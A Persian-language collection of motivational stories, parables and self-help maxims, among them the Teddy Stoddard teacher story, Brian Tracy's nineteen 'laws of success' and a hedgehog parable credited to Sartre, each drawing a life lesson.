“چون همیشه با خودش فکر میکنه چجوری میتونم به تاولهای کف پام بگم تموم مسیری رو که اومدم اشتباه بوده؟” این یه مصیبت بزرگه که اکثر آدما گرفتارش میشن. نه فقط توی حوزه دین و مذهب بلکه توی همه اعتقادات، باورها، دوست داشتنها و نفرتها. وقتی آدما برای یه چیزی هزینه میدن، وقتی کلی از وقت و انرژیشون رو میذارن روی یه چیزی، دیگه حتی به ذهنشون هم نمیرسه که ممکنه چیزی که این همه از وقت و انرژی و پول و عمرشون رو گرفته، اشتباه باشه. سربازی که پاهاش رو توی جنگ از دست میده هیچوقت نمیتونه به این مسئله فکر کنه که اصلا شاید شروع اون جنگ اشتباه بوده. چون تموم هویت و وجودش رو از اون جنگ میگیره و اگه بخواد به درستی یا غلطی اون جنگ فکر کنه، تبدیل میشه به یه موجود بی هویت. به یه موجود بی گذشته. به هیچ تبدیل میشه. چون برای جنگ هزینه داده. مثل زن یا مردی که برای شریک زندگیش کلی هزینه کرده و الان دیگه نمیتونه به این فکر کنه که شریک زندگیش، واقعا اونی نیست که فکرشو میکرده. مثل کسی که چند ترمه داره یه رشته ای رو توی دانشگاه میخونه و کلی وقت و هزینه صرف کرده و میبینه انتخاب این رشته نتونسته رضایت براش به همراه بیاره؛ ولی جرئت ترک اون رشته و شروع یه رشته دیگه رو نداره. مثل کسی که بعد یه عمر زندگی، میفهمه این سبک زندگی مناسبش نیست، ولی جرئت تغییرشو نداره. چرا؟ چون براش هزینه داده.

ولی کاش آدما میتونستن هویت خودشون رو از اتفاقات روزگار و عقایدشون تفکیک کنن که اگه یه وقت فهمیدن اون عقاید اشتباه بوده، بی هویت نشن.

کاش آدما هر جا که به عقیده ها، باورها، دوست داشتنها و تنفرهاشون شک کردن همونجا ترمز میکردن، بی خیال تاولهای کف پاشون میشدن و میگفتن جلوی ضرر رو از هر جا که بگیری منفعته.

بشینیم با خودمون فک کنیم ببینیم انصافا ما اینجوری نیستیم؟ آیا ما وقتی به عقایدمون حمله میشه احساس نمیکنیم به ما حمله شده؟ آیا ما خودمون رو عقایدمون تعصب نداریم؟ آیا ما آزاداندیشیم و بسیاری از افراد دیگه متعصب یا وضع ما هم چندان با بقیه فرقی نمیکنه؟

________________________________________________________________________________________________________

ارزیابی شناختی: داستان پیرمرد بازنشسته

یک پیرمرد بازنشسته، خانه جدیدی در نزدیکی یک دبیرستان خرید.
یکی دو هفته اول همه چیز به خوبی و در آرامش پیش می‌رفت.
تا اینکه سه تا پسربچه در خیابان راه افتادند و در حالی که بلند بلند با هم حرف می‌زدند، هر چیزی که در خیابان افتاده بود را شوت می‌کردند و سرو صدای عجیبی راه انداختند.

این کار هر روز تکرار می‌شد و آسایش پیرمرد کاملاً مختل شده بود.
این بود که تصمیم گرفت کاری بکند.

روز بعد دنبال بچه‌ها رفت و آن‌ها را صدا کرد و به آن‌ها گفت: «بچه‌ها شما خیلی بامزه هستید و من از این که می‌بینم شما این قدر نشاط جوانی دارید خیلی خوشحالم. منهم که به سن شما بودم همین کار را می‌کردم.
حالا می‌خواهم لطفی در حق من بکنید. من روزی ۱۰ دلار به هر کدام از شما می‌دهم که بیایید اینجا و همین کارها را بکنید. »

بچه‌ها خوشحال شدند و به کارشان ادامه دادند.
تا آن که چند روز بعد، پیرمرد دوباره به سراغشان آمد و گفت: ببینید بچه‌ها متأسفانه در محاسبه حقوق بازنشستگی من اشتباه شده و من نمی‌تونم روزی ۱ دلار بیشتر بهتون بدم. از نظر شما اشکالی نداره؟

بچه‌ها گفتند: «۱ دلار؟ اگر فکر می‌کنی ما به خاطر روزی فقط ۱ دلار حاضریم این همه بطری نوشابه و چیزهای دیگه رو شوت کنیم، کور خوندی. ما نیستیم. »!!!

و از آن پس پیرمرد با آرامش در خانه جدیدش به زندگی ادامه داد.
در روانشناسی سازمانی نظریه‌ای توسط لئون فستینگر با نام «ارزیابی شناختی » ارائه شده است.

بر اساس این نظریه که در آخرین سال‌های دهه ۱۹۶۰ ارائه شده است پاداش‌های بیرونی باعث کاهش کلی سطح انگیزش می‌گردد.

بدین ترتیب اگر سازمان از پاداش‌های بیرونی به عنوان جبران عملکرد استفاده کند، پاداش‌های درونی کاهش می‌یابد.

به بیان دیگر اگر به فردی به ازای انجام کار مورد علاقه‌اش پاداش داده شود، باعث می‌گردد که علاقه درونی یا ذاتی فرد به آن کار کاهش یابد؛
و در واقع، محرک‌های بیرونی جایگزین محرک‌های درونی یا ذاتی شده‌اند و بدین ترتیب انگیزه درونی از بین می‌رود.

_________________________________________________________________________________________________________

تدی و تامپسون❤️?

در روز اول سال تحصیلی، خانم تامپسون معلّم کلاس پنجم دبستان وارد کلاس شد و پس از صحبت‌های اولیه، مطابق معمول به دانش‌آموزان گفت که همه آن‌ها را به یک اندازه دوست دارد و فرقی بین آن‌ها قائل نیست. البته او دروغ می‌گفت و چنین چیزی امکان نداشت. مخصوصاً این که پسر کوچکی در ردیف جلوی کلاس روی صندلی لم داده بود به نام تدی استودارد که خانم تامپسون چندان دل خوشی از او نداشت. تدی سال قبل نیز دانش‌آموز همین کلاس بود. همیشه لباس‌های کثیف به تن داشت، با بچه‌های دیگر نمی‌جوشید و به درسش هم نمی‌رسید. او واقعاً دانش‌آموز نامرتبی بود و خانم تامپسون از دست او بسیار ناراضی بود و سرانجام هم به او نمره قبولی نداد و او را رفوزه کرد . امسال که دوباره تدی در کلاس پنجم حضور می‌یافت، خانم تامپسون تصمیم گرفت به پرونده تحصیلی سال‌های قبل او نگاهی بیاندازد تا شاید به علّت درس نخواندن او پی‌ببرد و بتواند کمکش کند . معلّم کلاس اول تدی در پرونده‌اش نوشته بود: «تدی دانش‌آموز باهوش، شاد و با استعدادی است. تکالیفش را خیلی خوب انجام می‌دهد و رفتار خوبی دارد. رضایت کامل ». معلّم کلاس دوم او در پرونده‌اش نوشته بود: « تدی دانش‌آموز فوق‌العاده‌ای است. همکلاسیهایش دوستش دارند ولی او به خاطر بیماری درمان‌ناپذیر مادرش که در خانه بستری است دچار مشکل روحی است .»معلّم کلاس سوم او در پرونده‌اش نوشته بود: «مرگ مادر برای تدی بسیار گران تمام شده است. او تمام تلاشش را برای درس‌خواندن می‌کند ولی پدرش به درس و مشق او علاقه‌ای ندارد. اگر شرایط محیطی او در خانه تغییر نکند او به زودی با مشکل روبرو خواهد شد .»معلّم کلاس چهارم تدی در پرونده‌اش نوشته بود: «تدی درس خواندن را رها کرده و علاقه‌ای به مدرسه نشان نمی‌دهد. دوستان زیادی ندارد و گاهی در کلاس خوابش می‌برد .»خانم تامپسون با مطالعه پرونده‌های تدی به مشکل او پی برد و از این که دیر به فکر افتاده بود خود را نکوهش کرد. تصادفاً فردای آن روز، روز معلّم بود و همه دانش‌آموزان هدایایی برای او آوردند. هدایای بچه‌ها همه در کاغذ کادوهای زیبا و نوارهای رنگارنگ پیچیده شده بود، بجز هدیه تدی که داخل یک کاغذ معمولی و به شکل نامناسبی بسته‌بندی شده بود. خانم تامپسون هدیه‌ها را سرکلاس باز کرد. وقتی بسته تدی را باز کرد یک دستبند کهنه که چند نگینش افتاده بود و یک شیشه عطر که سه چهارمش مصرف شده بود در داخل آن بود. این امر باعث خنده بچه‌های کلاس شد امّا خانم تامپسون فوراً خنده بچه‌ها را قطع کرد و شروع به تعریف از زیبایی دستبند کرد. سپس آن را همانجا به دست کرد و مقداری از آن عطر را نیز به خود زد. تدی آن روز بعد از تمام شدن ساعت مدرسه مدتی بیرون مدرسه صبر کرد تا خانم تامپسون از مدرسه خارج شد . سپس نزد او رفت و به او گفت: «خانم تامپسون، شما امروز بوی مادرم را می‌دادید .»خانم تامپسون، بعد از خداحافظی از تدی، داخل ماشینش رفت و برای دقایقی طولانی گریه کرد. از آن روز به بعد، او آدم دیگری شد و در کنار تدریس خواندن، نوشتن، ریاضیات و علوم، به آموزش «زندگی» و «عشق به همنوع» به بچه‌ها پرداخت و البته توجه ویژه‌ای نیز به تدی می‌کرد. پس از مدتی، ذهن تدی دوباره زنده شد. هر چه خانم تامپسون او را بیشتر تشویق می‌کرد او هم سریعتر پاسخ می‌داد. به سرعت او یکی از با هوش‌ترین بچه‌های کلاس شد و خانم تامپسون با وجودی که به دروغ گفته بود که همه را به یک اندازه دوست دارد، امّا حالا تدی دانش‌آموز محبوبش شده بود . یکسال بعد، خانم تامپسون یادداشتی از تدی دریافت کرد که در آن نوشته بود شما بهترین معلّمی هستید که من در عمرم داشته‌ام . شش سال بعد، یادداشت دیگری از تدی به خانم تامپسون رسید. او نوشته بود که دبیرستان را تمام کرده و شاگرد سوم شده است. و باز هم افزوده بود که شما همچنان بهترین معلمی هستید که در تمام عمرم داشته‌ام . چهار سال بعد از آن، خانم تامپسون نامه دیگری دریافت کرد که در آن تدی نوشته بود با وجودی که روزگار سختی داشته است امّا دانشکده را رها نکرده و به زودی از دانشگاه با رتبه عالی فارغ‌التحصیل می‌شود. باز هم تأکید کرده بود که خانم تامپسون بهترین معلم دوران زندگیش بوده است . چهار سال دیگر هم گذشت و باز نامه‌ای دیگر رسید. این بار تدی توضیح داده بود که پس از دریافت لیسانس تصمیم گرفته به تحصیل ادامه دهد و این کار را کرده است. باز هم خانم تامپسون را محبوبترین و بهترین معلم دوران عمرش خطاب کرده بود. امّا این بار، نام تدی در پایان‌نامه کمی طولانی‌تر شده بود: دکتر تئودور استودارد . ماجرا هنوز تمام نشده است. بهار آن سال نامه دیگری رسید. تدی در این نامه گفته بود که با دختری آشنا شده و می‌خواهند با هم ازدواج کنند. او توضیح داده بود که پدرش چند سال پیش فوت شده و از خانم تامپسون خواهش کرده بود اگر موافقت کند در مراسم عروسی در کلیسا، در محلی که معمولاً برای نشستن مادر داماد در نظر گرفته می‌شود بنشیند. خانم تامپسون بدون معطلی پذیرفت و حدس بزنید چکار کرد؟ او دستبند مادر تدی را با همان جاهای خالی نگین‌ها به دست کرد و علاوه بر آن، یک شیشه از همان عطری که تدی برایش آورده بود خرید و روز عروسی به خودش زد . تدی وقتی در کلیسا خانم تامپسون را دید او را به گرمی هر چه تمامتر پذیرفت و در گوشش گفت: «خانم تامپسون از این که به من اعتماد کردید از شما متشکرم. به خاطر این که باعث شدید من احساس کنم که آدم مهمی هستم از شما متشکرم. و از همه بالاتر به خاطر این که به من نشان دادید که می‌توانم تغییر کنم از شما متشکرم .»خانم تامپسون که اشک در چشم داشت در گوش او پاسخ داد: « تدی، تو اشتباه می‌کنی. این تو بودی که به من آموختی که می‌توانم تغییر کنم. من قبل از آن روزی که تو بیرون مدرسه با من صحبت کردی، بلد نبودم چگونه تدریس کنم .» بد نیست بدانید که تدی استودارد هم اکنون در دانشگاه آیوا استاد برجسته پزشکی است و بخش سرطان دانشکده پزشکی دانشگاه نیز به نام او نامگذاری شده است . همین امروز گرمابخش قلب یکنفر شوید … وجود فرشته‌ها را باور داشته باشید، و مطمئن باشید که محبت شما به خودتان باز خواهد گشت .

______________________________________________________________________________________________________________

کافیست بخواهی تا موفق شوی !

?عنوان درس: کافیست چیزی را بخواهی تا موفق شوی !

مردی پایین کوه ایستاده بود و با حسرت به قله نگاه می‌کرد. صاحبدلی از کنارش گذشت و با کنجکاوی دلیل نگاه حسرت‌بارش را پرسید…
مرد گفت: “دلم می‌خواست می‌توانستم آن بالا باشم!؟” صاحب‌دل پاسخ داد: “کافی است هم‌زمان با این آرزو دلت نخواهد این پایین باشی!”
اگر در جمله پرمعنای صاحبدل دقت کنیم به نکته‌ای بسیار ارزشمند در زندگی پی می‌بریم! ما می‌دانیم چه می‌خواهیم اما از آن‌چه نمی‌خواهیم اطلاعات زیادی نداریم و علت اصلی در جا زدن و موفق نشدن بسیاری از ما در عرصه‌های مختلف زندگی همین اطلاع نداشتن از نخواستن‌های‌مان است.
بسیاری از افراد هستند که به خاطر شرایط غیرقابل پیش‌بینی محیط و اجتماع ناگهان صاحب ثروت کلانی شده‌اند. آن‌ها می‌خواستند ثروتمند شوند و دست طبیعت با انتقال میراثی کلان و یا بالا بردن قیمت زمینی کم‌ارزش ناگهان پولی هنگفت را در دامن آن‌ها انداخته است. اکثر این اشخاص قادر به درست خرج کردن این پول نیستند. کمی تجملات، خرید وسایلی مدرن و زمین و ماشینی جدید و بعد هم افراط در تفریح! آن‌ها با سرعتی غیرقابل باور خود را به سوی فقر و ناداری می‌کشانند و اندک زمانی بعد دوباره به همان وضعیت ناداری اولیه برمی‌گردند. چرا!؟ چون نمی‌دانستند که هم‌زمان با ورود به جرگه ثروتمندان باید یک‌سری از رفتارها، آرزوها و ناکامی های زمان ناداری را نخواهند و دنبال نکنند!
به راستی کسی که پایین قله ایستاده چگونه می‌تواند هم‌زمان به سمت بالا حرکت کند. او برای حرکت به سمت بالا در اولین گام باید زمین پایین دره را رها کند و خود را روی دامنه کوه به سمت بالا بکشاند. داشتن هم‌زمان قله و زمین پای کوه، میسر نیست و این نکته‌ای کلیدی است که متاسفانه بسیاری از انسان‌ها از آن غافلند!
همین الان کاغذی بردارید. با خط‌کش و مداد آن را دو قسمت کنید و در یک بخش خواستن‌ها و آرزوهای خود و در نیمه دیگر نخواستن‌های خود را بنویسید. خواهید دید که موقع نوشتن نخواستن‌ها دچار مشکل می‌شوید. چرا؟! چون یک عمر تمام ذهن خود را فقط روی خواستن و طلب کردن متمرکز کرده‌ایم و خودمان را از آن‌چه نباید بخواهیم غافل ساخته‌ایم…

_______________________________________________________________________________________________________________

ﻫﺮﭼﻪ ﺑﯿﺸﺘﺮ ﺑﻪ ﺩﯾﮕﺮﺍﻥ ﮐﻤﮏ ﻣﯿﮑﻨﻢ ﮐﺎﻣﯿﺎﺏ ﺗﺮ ﻣﯿﺸﻮﻡ ﻭ ﺑﯿﺸﺘﺮ ﭘﯿﺸﺮﻓﺖ ﻣﯿﮑﻨﻢ ﺩﺭ ﺩﻧﯿﺎﯼ ﻣﻦ ﻫﻤﻪ ﺑﺮﻧﺪﻩ ﻫﺴﺘﻨﺪ.

________________________________________________________________________________________________________________

قوانین جهانی موفقیت و سعادت
برایان تریسی یکی از بزرگترین روانشناسان معاصر جهان خلاصه ای از تجربیات و انباشته های علمی اش در رابطه با موفقیت را در ۱۹ اصل خلاصه کرده است. و آن را قوانین موفقیت نامیده است. او در این اصل ها بهترین و سریع ترین راه های رسیدن به موفقیت را خلاصه و مختصر و مفید در یک متن کوتاه خلاصه کرده است.

۱- قانون علت و معلول: هر چیزی به دلیلی رخ می دهد. برای هر علتی، معلولی هست و برای هر معلولی، علتی. چیزی به اسم شانس وجود ندارد.

۲- قانون ذهن: همه ی علت ها و معلول ها ذهنی اند. افکار شما تبدیل به واقعیت می شوند. افکار شما آفریننده اند. شما تبدیل به همان چیزی می شوید که درباره ی آن فکر می کنید. همیشه درباره ی چیزهایی فکر کنید که واقعا طالب آن هستید و از فکر کردن درباره چیزهایی که خواستار آن نیستید اجتناب کنید.

۳- قانون تمرکز: هر چیزی که ذهن خود را به آن مشغول سازید در زندگی واقعیت پیدا می کند.

۴- قانون انتخاب: زندگی شما نتیجه ی انتخاب های شما تا این لحظه است. چون همیشه در انتخاب افکار خود آزاد هستید. کنترل تمام زندگی تان و تمامی آنچه برایتان اتفاق می افتد در دست شماست.

۵- قانون تغییر: تغییر غیر قابل اجتناب است و چون با دانش روزافزون و تکنولوژی رو به پیشرفت هدایت می شود با سرعتی غیرقابل قیاس با گذشته در حال حرکت است. کار شما این است که استاد تغییر باشید نه قربانی آن.

۶- قانون مسئولیت: هرجا که هستید و هرچه که هستید به خاطر آن است که خودتان اینطور خواسته اید. مسئولیت کامل آنچه که هستید، آنچه که به دست آورده اید و آنچه خواهید شد بر عهده ی خود شماست.

۷- قانون تلاش: همه ی امیدها، رویاها، هدف ها و آرمان های شما در گرو سخت کوشی شماست. هرچه بیشتر تلاش کنید بخت و اقبال بهتری پیدا می کنید.

۸- قانون آمادگی: شانس در واقع تلاش، موقعیت و آمادگی است. عملکرد خوب نتیجه ی آمادگی کامل است که مراحل کسب آن از هفته ها، ماه ها و سال ها قبل آغاز می شود. در هر حوزه ای موفق ترین افراد، آنهایی هستند که همواره در مقایسه با افراد ناموفق وقت بیشتری را صرف کسب آمادگی برای انجام کارمی کنند.

۹- قانون تصمیم: مصمم بودن از ویژگی های اساسی افراد موفق است. در زندگی شما هر جهشی در جهت پیشرفت هنگامی حاصل می شود که در موردی تصمیم روشنی گرفته باشید.

۱۰- قانون استقامت: معیار ایمان به خود، توانایی استقامت در برابر سختی ها، شکست ها و ناامیدی هاست. استقامت ویژگی اساسی موفقیت است. اگر شما به اندازه کافی استقامت کنید طبیعتا سرانجام موفق می شوید.

۱۱- قانون وضوح هدف:هرچقدر با وضوح بیشتری بدانید که چه می خواهید و حاضرید چه اقداماتی برای دستیابی به آن انجام دهید احتمال موفق شدن و رسیدن به آنچه می خواهید بیشتر می شود.

۱۲- قانون رشد: اگر درحال رشد فکر نیستید پس دارید درجا می زنید. اگر روز به روز بهتر نمی شوید پس دارید بدتر می شوید. یادگیری دائم و رشد مداوم فکری را جزیی از برنامه روزانه زندگی خود قرار دهید.

۱۳- قانون خوشبختی: کیفیت زندگیتان را احساس شما در هر لحظه تعیین می کند و احساس شما را تفسیر شما از وقایع پیرامونتان تعیین می کند نه خود وقایع.

۱۴- قانون تجسم: دنیای پیرامون شما تصویری از دنیای درون شماست. هرچیزی را که به روشنی و با تمام وجود تجسم کنید نهایتا در زندگی شما به واقعیت می پیوندد.

۱۵- قانون وفور نعمت: ما در جهانی سرشار از نعمت زندگی می کنیم. جهانی که در آن گنجینه های عظیمی از ثروت برای تمام کسانی که طالب آن هستند وجود دارد. برای دستیابی به استقلال مالی و افزایش ثروت همین امروز تصمیم بگیرید و سپس همان کاری را انجام دهید که دیگران پیش از شما برای رسیدن به چنین هدفی انجام داده اند.

۱۶- قانون اشتیاق: برای موفقیت در هر چیزی مثلا (ثروتمند شدن) باید اشتیاق شدیدی برای این کار داشته باشید. اشتیاق اندک یا علاقه ای مختصر کافی نیست. شدت علاقه ی خود را می توانید با مشاهده فعالیت روزانه خود بسنجید. آیا این فعالیت با ثروتمند شدن هماهنگی دارد یا نه؟

۱۷- قانون شکست: آمادگی شما برای تحمل شکست تنها معیار واقعی شما برای ثروتمند شدن است. شکست پیش نیاز موفقیت های بزرگ است.

۱۸- قانون موفقیت: مشکلات مانع کار نیستند بلکه معلممان هستند. در درون هر مشکلی بذر سودی نهفته است برابر یا بیشتر از خود مشکل. در راه موفقیت مشکلات را تبدیل به پله های صعود کنید.

۱۹- قانون سخت کوشی:موفقیت ها و دستیابی به اهداف با سخت کوشی به دست می آید. هنگامی که شک دارید که موفق می شوید، سخت تر تلاش کنید و اگر به نتیجه نرسیدید باز هم بیشتر تلاش کنید.’

________________________________________________________________________________________________________________________

حدود سه درصد مردم دارای هدف هستند و تنها یک درصد مردم آن را روی کاغذ می آورند.
برایان تریسی
❇️
با یک مدیریت زمان عالی، کیفیت زندگی شما بهتر می شود و برای افراد و چیزهایی که از آنها لذت می برید، فرصت بیشتری به دست می آورید.
✳️
برایان تریسی

با افکاری که برای شما محدودیت ایجاد می کنند به مقابله برخیزید. بسیاری از آنها هرگز درست نیستند.
♻️
برایان تریسی

_________________________________________________________________________________________________

یک داستان مدیریتی:

در بازگشت از کلیسا، جک از دوستش ماکس می پرسد: «فکر می کنی آیا می شود هنگام دعا کردن سیگار کشید؟

ماکس جواب می دهد: «چرا از کشیش نمی پرسی؟

جک نزد کشیش می رود و می پرسد: جناب کشیش، می توانم زمانیکه در حال دعا کردن هستم، سیگار بکشم.

کشیش پاسخ می دهد: «نه، پسرم، نمی شود. این بی ادبی به مذهب است.

جک نتیجه را برای دوستش ماکس بازگو می کند.

ماکس می گوید: تعجبی ندارد. تو پرسش را درست مطرح نکردی. بگذار من بپرسم.
ماکس نزد کشیش می رود و می پرسد: «آیا زمانیکه در حال سیگار کشیدن هستم می توانم دعا کنم؟»

کشیش مشتاقانه پاسخ می دهد: مطمئناً، پسرم. مطمئناً.

یادآوری:

پاسخی که دریافت می کنید به شدت بستگی به پرسشی دارد که پرسیده اید…

___________________________________________________________________________________________

– یک وقت هزارپایی بود که به خوبی می توانست با هزارتا پای خود برقصد. وقتی به رقص می پرداخت تمام جانوران جنگل از هر سو به گرد او جمع می شدند تا رقص او را تحسین کنند؛ همه، به استثنای یکی که ابداً رقص هزارپا را دوست نداشت: یک لاک پشت…

– خوب، لاک پشت حسود بوده است.

– از خود می پرسید چکار کند تا هزارپا دیگر به رقص نپردازد. کافی نبود که همه جا اعلام کند که رقص هزارپا را دوست ندارد. و از طرفی نمی توانست ادعا کند که بهتر از هزارپا می رقصد، چنین ادعایی خنده آور بود. بنابراین به طرح یک نقشه شیطانی پرداخت.

– خواهش می کنم زودتر بگو!

– یک نامه به هزارپا نوشت به این مضمون: آه، ای هزارپای بی نظیر! من یکی از تحسین کنندگان بی قید و شرط رقص شماهستم. و می خواهم ازشما بپرسم چگونه به این رقص می پردازید و چه روشی بکار می برید. آیا اول پای ۲۲۸ را بلند می کنید و بعد پای شماره ۵۹ را؟ یا رقص را ابتدا با بلند کردن پای شماره ۴۹۹ آغاز می کنید؟ بی صبرانه در انتظار پاسخ شما هستم. با احترام تمام، لاک پشت.

– خوب بعد!

– هزار پا پس از دریافت نامه در این اندیشه فرو رفت که بداند واقعا هنگام رقصیدن چه می کند؟ و کدام یک از پاهای خود را قبل از همه بلند می کند؟ و بعد از آن کدام پا را؟ به عقیده تو چه اتفاقی روی داد؟

– من گمان می کنم که هزار پا بعد از دریافت این نامه دیگر هرگز موفق به رقصیدن نشد.

– آری، ماجرا به همین ترتیب پایان یافت.
این مثال نشان می دهد که سخنان بیهوده دیگران که ازروی بدخواهی وحسادت بیان میشود می توانند بر نیروی تخیل ماغلبه کرده ومانع پیشرفت وبلند پروازی ما شوند .
برگرفته ازکتاب دنیای سوفی/ یوستین گاردر

_______________________________________________________________________________________________

به تعداد آدم های روی کره ی خاکی ، تفاوت فکر و نگرش وجود دارد !!
پس این را بپذیر :
کسی که تفکرش با تو متفاوت است ، دشمنت نیست ؛
انسان دیگری است با دیدگاهى دیگر
فقط همین …
اگر فقط همین یک اصل را بپذیریم ، روابط مان بهتر خواهد شد و زندگى سرشار از آرامش توام با احترام و درک متقابل را تجربه خواهیم کرد .
به همین سادگی .

_____________________________________________________________________________________________________

امروز یک مطلب از ژان پل سارتر خوندم که گذاشتنش اینجا خالی از لطف نیست …
ﺩﺭ ﻋﺼﺮ ﯾﺨﺒﻨﺪﺍﻥ
ﺑﺴﯿﺎﺭﯼ ﺍﺯ ﺣﯿﻮﺍﻧﺎﺕ ﯾﺦ ﺯﺩﻧﺪ ﻭ ﻣﺮﺩﻧﺪ …
ﺧﺎﺭﭘﺸﺘﻬﺎ ﻭﺧﺎﻣﺖ ﺍﻭﺿﺎﻉ ﺭﺍ ﺩﺭﯾﺎﻓﺘﻨﺪ …
ﺗﺼﻤﯿﻢ ﮔﺮﻓﺘﻨﺪ ﺩﻭﺭﻫﻢ ﺟﻤﻊ ﺷﻮﻧﺪ ﻭ ﺑﺪﯾﻦ ﺗﺮﺗﯿﺐ ﻫﻤﺪﯾﮕﺮ ﺭﺍ ﺣﻔﻆ ﮐﻨﻨﺪ …
ﻭﻗﺘﯽ ﻧﺰﺩﯾﮑﺘﺮ ﺑﻮﺩﻧﺪ ، ﮔﺮﻣﺘﺮ ﻣﯽ ﺷﺪﻧﺪ ، ﻭﻟﯽ ﺧﺎﺭﻫﺎﯾﺸﺎﻥ ﯾﮑﺪﯾﮕﺮ ﺭﺍ ﺯﺧﻤﯽ ﻣﯽ ﮐﺮﺩ
ﺑﻪ ﻫﻤﯿﻦ ﺧﺎﻃﺮ ﺗﺼﻤﯿﻢ ﮔﺮﻓﺘﻨﺪ ﺍﺯﻫﻢ ﺩﻭﺭ ﺷﻮﻧﺪ ،
ﻭﻟﯽ ﺍﺯ ﺳﺮﻣﺎ ﯾﺦ ﺯﺩﻩ ، و ﻣﯽﻣﺮﺩﻧﺪ …
ﺍﺯ ﺍﯾﻦ ﺭﻭ ﻣﺠﺒﻮﺭ ﺑﻮﺩﻧﺪ ﺑﺮﮔﺰﯾﻨﻨﺪ :
ﯾﺎ ﺧﺎﺭﻫﺎﯼ ﺩﻭﺳﺘﺎﻥ ﺭﺍ ﺗﺤﻤﻞ ﮐﻨﻨﺪ ، ﯾﺎ ﻧﺴﻠﺸﺎﻥ ﺍﺯ ﺭﻭﯼ ﺯﻣﯿﻦ ﻣﻨﻘﺮﺽ ﺷﻮﺩ …
ﺩﺭﯾﺎﻓﺘﻨﺪ ﮐﻪ ﺑﺎﺯ ﮔﺮﺩﻧﺪ ﻭ ﮔﺮﺩﻫﻢ ﺁﯾﻨﺪ …
ﺁﻣﻮﺧﺘﻨﺪ ﮐﻪ ، ﺑﺎ ﺯﺧﻢ ﻫﺎﯼ ﮐﻮﭼﮑﯽ ﮐﻪ ﻫﻤﺰﯾﺴﺘﯽ ِنزدیک ﺑﺎ ﮐﺴﯽ ﺑﻮﺟﻮﺩ ﻣﯽ ﺁﻭﺭﺩ ، ﺯﻧﺪﮔﯽ ﮐﻨﻨﺪ ،
ﭼﻮﻥ ﮔﺮﻣﺎﯼ ﻭﺟﻮﺩ ﺩﯾﮕﺮﯼ ﻣﻬﻤﺘﺮ ﺍﺳﺖ ….
ﻭ ﺍﯾﻦ ﭼﻨﯿﻦ ﺗﻮﺍﻧﺴﺘﻨﺪ ﺯﻧﺪﻩ ﺑﻤﺎﻧﻨﺪ ….
ﺑﻬﺘﺮﯾﻦ ﺭﺍﺑﻄﻪ ﺍﯾﻦ ﻧﯿﺴﺖ ﮐﻪ ﺍﺷﺨﺎﺹ ﺑﯽ ﻋﯿﺐ ﻭ ﻧﻘﺺﺭﺍ ﮔﺮﺩ ﻫﻢ ﻣﯽ ﺁﻭﺭﺩ ، ﺑﻠﮑﻪ ﺁﻥ ﺍﺳﺖ ﻛﻪ ﻫﺮ ﻓﺮﺩ ﺑﯿﺎﻣﻮﺯﺩ ،
ﺑﺎ ﻣﻌﺎﯾﺐ ﺩﯾﮕﺮﺍﻥ ﮐﻨﺎﺭ ﺁﯾﺪ ﻭ ﻣﺤﺎﺳﻦ ﺁﻧﺎﻥ ﺭﺍ ﺗﺤﺴﯿﻦ ﻧﻤﺎﯾﺪ …
ﻭﻗﺘﻲ ﺗﻨﻬﺎﻳﻴﻢ ﺩﻧﺒﺎﻝ ﺩﻭﺳﺖ ﻣﻲ ﮔﺮﺩﻳﻢ ؛ ﭘﻴﺪﺍﻳﺶ ﻛﻪ ﻛﺮﺩﻳﻢ ، ﺩﻧﺒﺎﻝ ﻋﻴﺐ ﻫﺎﻳﺶ ﻣﻲ ﮔﺮﺩﻳﻢ …
ﻭ ﻭﻗﺘﻲ ﻛﻪ ﺍﺯ ﺩﺳﺘﺶ ﺩﺍﺩﻳﻢ ، ﺩﺭ ﺗﻨﻬﺎﺋﻲ ﺩﻧﺒﺎﻝ ﺧﺎﻃﺮﺍﺗﺶ ﻣﻲ ﮔﺮﺩﻳﻢ …..

________________________________________________________________________________________________

مشاور یه لیوان آب برداشت و ریخت رو زمین وقتی ریخت به خانم و آقا دوتا ابر اسفنجی داد تا آب ریخته شده رو از رو زمین جمع کنن و تو لیوان بریزند زن و شوهر متعجبانه این کارو کردن و بعد نشستن
مشاور گفت خوب لیوان رو بگذارید رو میز و کمی صبر کنید بعد از کمی سکوت مشاور گفت ببینید:
۱- شما همه آب ریخته شده رو نتونستین جمع کنین
۲- آب کمی هم که با اسفنج جمع کردین گل آلود شد البته الان بعد مدتی کمی ته نشین شد اما زلالی قبلو نداره ‏
۳- با هر بار که کمترین تکانی لیوان میخوره آب دوباره گل آلود میشه و باز باید صبر کنین که ته نشین بشه
۴- آیا میشه به نبودن میکروب توی این آب اطمینان داشت؟
این دقیقا زندگی ما آدمهاست گاهی با یه رفتار شتاب زده و غیر منطقی و عجولانه یه تصمیم اشتباه میگیریم مثل اون آب میشه که ریخته ، اما بعد سعی میکنیم جمعش کنیم و اون تصمیم اشتباه رو حل، اما خیلی زمان میبره تا آب گل آلود جمع شده از رو زمین زلال بشه یعنی زمان میبره تا اون رفتار بد رو فراموش کنیم، لیوان مثل قبل آب نداره کمترشده یعنی ظرفیت قبلو نداریم چون یکبار از ظرفیتمون کم شده و با کمترین تکونی دوباره آب گل آلود میشه و اینبار خیلی زمان میبره که دوباره آب زلال بشه یعنی دوباره بتونیم همو تحمل کنیم. ‏
پس سعی کنیم زود و شتاب زده تصمیم نگیریم شاید دیگه فرصت نباشه آب ریخته شده را جمع کنیم. سعی کنیم حرفهایی که زندگیمونو گل آلود میکنه نزنیم سعی کنیم زندگی رو مثل شستن لیوان و پر کردن آب تمیز وزلال همیشه تمیز و با نشاط نگه داریم اینو بدونین هیچ وقت حریم همو نشکنیم و رومون بهم باز نشه هروقت از هم دلخوریم مدتی صبر کنیم بعد آروم شدن از هم گلایه کنیم. مواظب لیوان پر از آب زندگیتون باشید.

________________________________________________________________________________________________

توی یک جمع بی حوصله نشسته بودم
طبق عادت همیشگی مجله را ورق زدم تا به جدول رسیدم
همین که توی دلم خواندم سه عمودی

یکی گفت بلند بگو

گفتم یک کلمه سه حرفیه

ازهمه چیز برتر است

حاجی گفت: پول

تازه عروس مجلس گفت: عشق

شوهرش گفت: یار

کودک دبستانی گفت: علم
حاجی پشت سرهم گفت : پول، اگه نمیشه طلا، سکه

گفتم: حاجی اینها نمیشه

گفت: پس بنویس مال
گفتم: بازم نمیشه
گفت: جاه

خسته شدم با تلخی گفتم: نه نمیشه

دیدم همه ساکت شدند

مادر بزرگ گفت: مادرجان، “عمر” است.

سیاوش که تازه از سربازی آمده بود گفت: کار

دیگری خندید و گفت: وامv

